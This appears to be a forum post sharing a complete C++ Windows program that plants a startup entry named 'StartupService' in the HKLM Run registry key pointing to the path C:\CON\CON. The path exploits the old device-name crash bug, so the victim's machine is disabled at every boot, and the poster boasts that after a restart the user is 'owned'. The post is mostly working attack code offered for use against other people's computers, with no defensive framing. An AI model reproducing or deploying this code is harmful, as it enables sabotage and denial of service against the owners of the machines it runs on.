EDIT: I forgot the [C++] tag, any mod/admin mind adding that for me?
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
BYTE Data[11] = { 'C',':','\\','C','O','N','\\','C','O','N','\0' };
HKEY KeyHandle;
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&KeyHandle);
RegSetValueEx(KeyHandle,"StartupService",NULL,REG_SZ,Data,11);
RegCloseKey(KeyHandle);
return 0;
}
Once the user restarts their computer, they're owned.